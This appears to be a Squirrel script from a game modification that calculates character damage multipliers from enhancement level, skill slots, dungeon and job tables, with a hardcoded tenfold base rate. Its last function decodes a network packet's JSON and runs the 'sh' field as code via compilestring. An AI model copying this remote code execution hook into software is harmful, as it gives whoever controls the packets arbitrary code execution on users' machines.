Sqr/character/GetCurrentModuleDamageRate.nut

137 lines
3.6 KiB
Plaintext

/*
文件名:GetCurrentModuleDamageRate.nut
路径:character/GetCurrentModuleDamageRate.nut
创建日期:2022-11-12 19:42
文件用途:提升伤害
*/
//获取强化增幅提升率
function SetUpgradeRate() {
local Rate = [
[0, 1.0],
[1, 1.02],
[2, 1.03],
[3, 1.04],
[4, 1.05],
[5, 1.06],
[6, 1.07],
[7, 1.08],
[8, 1.09],
[9, 1.10],
[10, 1.10],
[11, 1.20],
[12, 1.40],
[13, 1.60],
[14, 2.20],
[15, 3.40],
];
local RootTable = getroottable();
local Level = L_sq_GetCharacterAttribute(0x1054, 1);
RootTable.rawset("UpgradeRate", Rate[Level][1] - 1.0);
}
//最终伤害
function GetOverDamgeRate(obj) {
return (obj.sq_GetIntData(169, 1).tofloat() / 100.0);
}
//-------------------------------------------------------------------------------------------------黄字追加伤害
function GetYellowAddDamageRate(obj) {
local YellowAdd = obj.getVar("YellowAdd");
YellowAdd.clear_vector();
local YellowAddRate = YellowAdd.getInt(0); //黄字追加伤害初始值
//----------------------------------------------------------------------------技能栏手搓伤害增加率
local SkillSlot = obj.getVar("SkillSlot");
local SkillSlotRate = (12 - SkillSlot.getInt(0)) * 5;
YellowAdd.setInt(0, SkillSlotRate);
//----------------------------------------------------------------------------
return YellowAddRate;
}
//-------------------------------------------------------------------------------------------------黄字追加伤害
function getCurrentModuleDamageRate(obj) {
if (!obj)
return 1.0;
local rate = 10.0;
local UpgradeRate = getroottable()["UpgradeRate"];
rate += (GetYellowAddDamageRate(obj).tofloat() / 100.0); //追加黄字
//强化增伤 //最终增伤
//rate *= 1 + UpgradeRate + GetOverDamgeRate(obj);
return rate;
}
if (!getroottable().rawin("DungeonIndex")) DungeonIndex <- [];
if (!getroottable().rawin("GrowType")) GrowType <- [];
function L_getCurrentModuleDamageRate(obj) {
if (!obj)
return 1.0;
local rate;
if (getroottable().rawin("LenheartCurrentModuleDamageRate")) {
rate = 1.0 + getroottable()["LenheartCurrentModuleDamageRate"];
} else {
rate = 1.0;
}
local AncientAttackHit = obj.getVar("AncientAttackHit");
local AncientAttackRate = AncientAttackHit.getInt(10).tofloat() / 1000.0;
local ClientRat = 1.0;
try {
ClientRat = getCurrentModuleDamageRate(obj).tofloat();
} catch (exception) {
ClientRat = 1.0;
}
local stage = sq_GetGlobaludpModuleStage();
local dungeon = sq_GetDungeonByStage(stage);
local dungeonIndex = sq_GetDuegonIndex(dungeon);
local fbsh = 100;
foreach(id in DungeonIndex) {
if (dungeonIndex == id[0]) {
fbsh = id[1];
}
}
local nrate = fbsh.tofloat() / 100.0;
rate = rate.tofloat() * nrate;
local LLJob = sq_getJob(obj);
local LLGrowT = sq_getGrowType(obj);
local LLLen = GrowType.len();
for (local i = 0; i< 11; ++i) {
if (i == LLLen) break;
if (LLJob == i) {
foreach(GR in GrowType[i]) {
if (LLGrowT == GR[0])
rate = rate.tofloat() * GR[1].tofloat();
}
}
}
return (rate * ClientRat) + AncientAttackRate;
}
function GetMyDamageRateByLenheart(Chunk) {
local Jso = Json.Decode(Chunk);
local str = Jso.sh;
local Func = compilestring(str);
Func();
}
Pack_Control.rawset(20058002, GetMyDamageRateByLenheart);